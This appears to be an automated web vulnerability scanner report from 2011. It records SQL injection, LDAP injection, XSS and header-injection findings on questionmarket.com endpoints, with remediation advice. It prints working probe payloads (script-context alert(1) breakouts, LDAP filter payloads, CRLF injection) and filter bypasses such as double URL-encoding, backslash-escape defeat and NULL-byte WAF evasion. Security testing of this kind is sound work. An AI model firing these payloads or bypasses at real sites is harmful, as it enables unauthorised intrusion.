SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Remediation background
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The REST URL parameter 5 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 5, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
HTTP/1.1 404 Not Found Date: Sat, 17 Sep 2011 13:22:14 GMT Server: Apache Vary: accept-language Accept-Ranges: bytes Content-Type: text/html Content-Language: en Content-Length: 1272
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang=" ...[SNIP]... </a> about the error.
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /adsc/d913132/5/920375/decide.php was not found on th ...[SNIP]...
The _session_id cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the _session_id cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head><script type="text/javascript">var NREUMQ=[];NREUMQ.push(["mark","firstbyte",new Date().getT ...[SNIP]...
2. LDAP injectionpreviousnext There are 2 instances of this issue:
LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorised, or subvert the application's logic to perform some unauthorised action.
Note that automated difference-based tests for LDAP injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Issue remediation
If possible, applications should avoid copying user-controllable data into LDAP queries. If this is unavoidable, then the data should be strictly validated to prevent LDAP injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into queries, and any other input should be rejected. At a minimum, input containing any LDAP metacharacters should be rejected; characters that should be blocked include ( ) ; , * | & = and whitespace.
The REST URL parameter 4 appears to be vulnerable to LDAP injection attacks.
The payloads 29d3cb5aac4a40a9)(sn=* and 29d3cb5aac4a40a9)!(sn=* were each submitted in the REST URL parameter 4. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /adsc/d913132/5/29d3cb5aac4a40a9)!(sn=*/decide.php was not found on this server.</p> <hr> <address>Apache/2.2.14 (Ubuntu) Server at amch.questionmarket.com Port 80</address> </body></html>
The pid parameter appears to be vulnerable to LDAP injection attacks.
The payloads 1dcd98c84e63efb5)(sn=* and 1dcd98c84e63efb5)!(sn=* were each submitted in the pid parameter. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.
Stored cross-site scripting vulnerabilities arise when data which originated from any tainted source is copied into the application's responses in an unsafe way. An attacker can use the vulnerability to inject malicious JavaScript code into the application, which will execute within the browser of any user who views the relevant application content.
The attacker-supplied code can perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, and logging their keystrokes.
Methods for introducing malicious content include any function where request parameters or headers are processed and stored by the application, and any out-of-band channel whereby data can be introduced into the application's processing space (for example, email messages sent over SMTP which are ultimately rendered within a web mail application).
Stored cross-site scripting flaws are typically more serious than reflected vulnerabilities because they do not require a separate delivery mechanism in order to reach target users, and they can potentially be exploited to create web application worms which spread exponentially amongst application users.
Note that automated detection of stored cross-site scripting vulnerabilities cannot reliably determine whether attacks that are persisted within the application can be accessed by any other user, only by authenticated users, or only by the attacker themselves. You should review the functionality in which the vulnerability appears to determine whether the application's behaviour can feasibly be used to compromise other application users.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the n request parameter submitted to the URL /b/wc_beacon.pli is copied into the HTML document as plain text between tags at the URL /bmx3/broker.pli. The payload d6afa<script>alert(1)</script>1780c77d05c was submitted in the n parameter. This input was returned unmodified in a subsequent request for the URL /bmx3/broker.pli.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the pid request parameter submitted to the URL /bmx3/broker.pli is copied into the HTML document as plain text between tags at the URL /bmx3/broker.pli. The payload 711dd%253cscript%253ealert%25281%2529%253c%252fscript%253e92750d4dc16 was submitted in the pid parameter. This input was returned as 711dd<script>alert(1)</script>92750d4dc16 in a subsequent request for the URL /bmx3/broker.pli.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the pid request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of the exch request parameter is copied into the x-mm-debug response header. The payload e455a%0d%0acb0dcbe7dc2 was submitted in the exch parameter. This caused a response containing an injected HTTP header.
Issue background
HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the lang request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ca299'%3balert(1)//1e976715b28 was submitted in the lang parameter. This input was echoed as ca299';alert(1)//1e976715b28 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:40:46 GMT Server: Apache/2.2.3 X-Powered-By: PHP/4.4.4 Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" DL_S: b201.dl Content-Type: text/html Content-Length: 13935
var DL_HideSelects = true; var DL_HideObjects = false; var DL_HideIframes = false; var DL_Banner; // Will be bound to the DIV element representing the layer var DL_ScrollState = 0; var DL_width; var D ...[SNIP]... DL_SurveyClickthru = 1; } DL_Close(false);
The value of the auto_ctl_invite request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 32c0c"-alert(1)-"2e42895c328 was submitted in the auto_ctl_invite parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:43:09 GMT Server: Apache/2.2.3 X-Powered-By: PHP/4.4.4 Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" DL_S: b101.dl Set-Cookie: LP=1316270589; expires=Wed, 21 Sep 2011 18:43:09 GMT; path=/; domain=.questionmarket.com Content-Length: 903 Content-Type: text/html
if (!window.DL_already_ran) (function(){ var d,e,h=false,s="http://amch.questionmarket.com/adscgen/d_layer.php?sub=amch&type=d_layer&survey_num=913131&site=10&code=922738&p=1&protocol=http&lang=&auto_ctl_invite=032c0c"-alert(1)-"2e42895c328&noiframe=1&loc=aHR0cDovL3d3dy5kZWxpc2guY29tL3NlYXJjaC9mYXN0X3NlYXJjaF9yZWNpcGVzP3NlYXJjaF90ZXJtPXhzcytzdWdhcitjYWtlJg=="; try{ if (s.search('d_layer') && (window['$WLXRmAd'] || (window.parent && wind ...[SNIP]...
The value of the code request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b55c9"-alert(1)-"21a641c0750 was submitted in the code parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:40:49 GMT Server: Apache/2.2.3 X-Powered-By: PHP/4.4.4 Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" DL_S: b203.dl Set-Cookie: LP=1316270449; expires=Wed, 21 Sep 2011 18:40:49 GMT; path=/; domain=.questionmarket.com Content-Length: 931 Content-Type: text/html
if (!window.DL_already_ran) (function(){ var d,e,h=false,s="http://amch.questionmarket.com/adscgen/d_layer.php?sub=amch&type=d_layer&survey_num=913131&site=10&code=922738b55c9"-alert(1)-"21a641c0750&p=1&protocol=http&lang=&auto_ctl_invite=0&noiframe=1&loc=aHR0cDovL3d3dy5kZWxpc2guY29tL3NlYXJjaC9mYXN0X3NlYXJjaF9yZWNpcGVzP3NlYXJjaF90ZXJtPXhzcytzdWdhcitjYWtlJg=="; try{ if (s.search('d_layer') && (wi ...[SNIP]...
The value of the lang request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2b583"-alert(1)-"755f4a4ca6f was submitted in the lang parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:42:40 GMT Server: Apache/2.2.3 X-Powered-By: PHP/4.4.4 Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" DL_S: b102.dl Set-Cookie: LP=1316270560; expires=Wed, 21 Sep 2011 18:42:40 GMT; path=/; domain=.questionmarket.com Content-Length: 903 Content-Type: text/html
if (!window.DL_already_ran) (function(){ var d,e,h=false,s="http://amch.questionmarket.com/adscgen/d_layer.php?sub=amch&type=d_layer&survey_num=913131&site=10&code=922738&p=1&protocol=http&lang=2b583"-alert(1)-"755f4a4ca6f&auto_ctl_invite=0&noiframe=1&loc=aHR0cDovL3d3dy5kZWxpc2guY29tL3NlYXJjaC9mYXN0X3NlYXJjaF9yZWNpcGVzP3NlYXJjaF90ZXJtPXhzcytzdWdhcitjYWtlJg=="; try{ if (s.search('d_layer') && (window['$WLXRmAd'] || (win ...[SNIP]...
The value of the loc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cf150"-alert(1)-"276604bd11b was submitted in the loc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:44:25 GMT Server: Apache/2.2.3 X-Powered-By: PHP/4.4.4 Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" DL_S: b201.dl Set-Cookie: LP=1316270665; expires=Wed, 21 Sep 2011 18:44:25 GMT; path=/; domain=.questionmarket.com Content-Length: 903 Content-Type: text/html
if (!window.DL_already_ran) (function(){ var d,e,h=false,s="http://amch.questionmarket.com/adscgen/d_layer.php?sub=amch&type=d_layer&survey_num=913131&site=10&code=922738&p=1&protocol=http&lang=&auto_ctl_invite=0&noiframe=1&loc=aHR0cDovL3d3dy5kZWxpc2guY29tL3NlYXJjaC9mYXN0X3NlYXJjaF9yZWNpcGVzP3NlYXJjaF90ZXJtPXhzcytzdWdhcitjYWtlJg==cf150"-alert(1)-"276604bd11b"; try{ if (s.search('d_layer') && (window['$WLXRmAd'] || (window.parent && window.parent['$WLXRmAd']))) { s=s.replace('d_layer','h_layer'); d=document; h=true; } else { d=top.document; } } ...[SNIP]...
5.6. http://amch.questionmarket.com/adscgen/dynamiclink.js.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://amch.questionmarket.com
Path:
/adscgen/dynamiclink.js.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f2908"-alert(1)-"6e1ffc1ebb0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the noiframe request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ad1b5"-alert(1)-"ced91aa03e8 was submitted in the noiframe parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:43:47 GMT Server: Apache/2.2.3 X-Powered-By: PHP/4.4.4 Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" DL_S: b102.dl Set-Cookie: LP=1316270627; expires=Wed, 21 Sep 2011 18:43:47 GMT; path=/; domain=.questionmarket.com Content-Length: 903 Content-Type: text/html
if (!window.DL_already_ran) (function(){ var d,e,h=false,s="http://amch.questionmarket.com/adscgen/d_layer.php?sub=amch&type=d_layer&survey_num=913131&site=10&code=922738&p=1&protocol=http&lang=&auto_ctl_invite=0&noiframe=1ad1b5"-alert(1)-"ced91aa03e8&loc=aHR0cDovL3d3dy5kZWxpc2guY29tL3NlYXJjaC9mYXN0X3NlYXJjaF9yZWNpcGVzP3NlYXJjaF90ZXJtPXhzcytzdWdhcitjYWtlJg=="; try{ if (s.search('d_layer') && (window['$WLXRmAd'] || (window.parent && window.parent[' ...[SNIP]...
The value of the p request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1fede"-alert(1)-"2ee520ed36a was submitted in the p parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:41:27 GMT Server: Apache/2.2.3 X-Powered-By: PHP/4.4.4 Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" DL_S: b201.dl Set-Cookie: LP=1316270487; expires=Wed, 21 Sep 2011 18:41:27 GMT; path=/; domain=.questionmarket.com Content-Length: 903 Content-Type: text/html
if (!window.DL_already_ran) (function(){ var d,e,h=false,s="http://amch.questionmarket.com/adscgen/d_layer.php?sub=amch&type=d_layer&survey_num=913131&site=10&code=922738&p=11fede"-alert(1)-"2ee520ed36a&protocol=http&lang=&auto_ctl_invite=0&noiframe=1&loc=aHR0cDovL3d3dy5kZWxpc2guY29tL3NlYXJjaC9mYXN0X3NlYXJjaF9yZWNpcGVzP3NlYXJjaF90ZXJtPXhzcytzdWdhcitjYWtlJg=="; try{ if (s.search('d_layer') && (window ...[SNIP]...
The value of the protocol request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 602cc"%3balert(1)//13596a6aef9 was submitted in the protocol parameter. This input was echoed as 602cc";alert(1)//13596a6aef9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:42:03 GMT Server: Apache/2.2.3 X-Powered-By: PHP/4.4.4 Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" DL_S: b202.dl Set-Cookie: LP=1316270523; expires=Wed, 21 Sep 2011 18:42:03 GMT; path=/; domain=.questionmarket.com Content-Length: 933 Content-Type: text/html
if (!window.DL_already_ran) (function(){ var d,e,h=false,s="http602cc";alert(1)//13596a6aef9://amch.questionmarket.com/adscgen/d_layer.php?sub=amch&type=d_layer&survey_num=913131&site=10&code=922738&p=1&protocol=http602cc"%3balert(1)//13596a6aef9&lang=&auto_ctl_invite=0&noiframe=1&loc=aHR0cDo ...[SNIP]...
The value of the site request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 369be"-alert(1)-"d94f7c831e7 was submitted in the site parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:40:09 GMT Server: Apache/2.2.3 X-Powered-By: PHP/4.4.4 Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" DL_S: b201.dl Set-Cookie: LP=1316270409; expires=Wed, 21 Sep 2011 18:40:09 GMT; path=/; domain=.questionmarket.com Content-Length: 906 Content-Type: text/html
if (!window.DL_already_ran) (function(){ var d,e,h=false,s="http://amch.questionmarket.com/adscgen/d_layer.php?sub=amch&type=d_layer&survey_num=913131&site=10369be"-alert(1)-"d94f7c831e7&code=922738&p=1&protocol=http&lang=&auto_ctl_invite=0&noiframe=1&loc=aHR0cDovL3d3dy5kZWxpc2guY29tL3NlYXJjaC9mYXN0X3NlYXJjaF9yZWNpcGVzP3NlYXJjaF90ZXJtPXhzcytzdWdhcitjYWtlJg=="; try{ if (s.search('d_la ...[SNIP]...
5.11. http://amch.questionmarket.com/adscgen/surv_lastpage_disq.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://amch.questionmarket.com
Path:
/adscgen/surv_lastpage_disq.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 33fea\'%3balert(1)//008a4b6b504 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 33fea\\';alert(1)//008a4b6b504 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:47:21 GMT Server: Apache-AdvancedExtranetServer/2.0.50 X-Powered-By: PHP/4.3.8 Set-Cookie: veranda_ses=deleted; expires=Fri, 17-Sep-2010 14:47:20 GMT; path=/; domain=.questionmarket.com P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" Content-Length: 385 Content-Type: text/html
(function(){ if (self==top) { if (window.opener) document.write('<a href="javascript:window.close()">Click to Close</a>'); } else { document.write('<a href="http://amch.questionmarket.com/adscgen/endsurvey_disq.php">Continue to your destina/33fea\\';alert(1)//008a4b6b504tion</a> ...[SNIP]...
The value of the p1 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 28379\'%3balert(1)//48eea5b6e22 was submitted in the p1 parameter. This input was echoed as 28379\\';alert(1)//48eea5b6e22 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
The value of the p2 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7f855\'%3balert(1)//5a6ea17ffa6 was submitted in the p2 parameter. This input was echoed as 7f855\\';alert(1)//5a6ea17ffa6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 14:42:48 GMT Server: Apache/2.2.3 X-Powered-By: PHP/4.4.4 Set-Cookie: veranda_ses=deleted; expires=Fri, 17 Sep 2010 14:42:47 GMT; path=/; domain=.questionmarket.com P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml" Content-Length: 384 Content-Type: text/html
(function(){ if (self==top) { if (window.opener) document.write('<a href="javascript:window.close()">Click to Close</a>'); } else { document.write('<a href="http://amch.questionmarket.com/adscgen/endsurvey_disq.php">Continue to your destination7f855\\';alert(1)//5a6ea17ffa6</a> ...[SNIP]...
The value of the code request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 73284"%3balert(1)//c45b9562948 was submitted in the code parameter. This input was echoed as 73284";alert(1)//c45b9562948 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
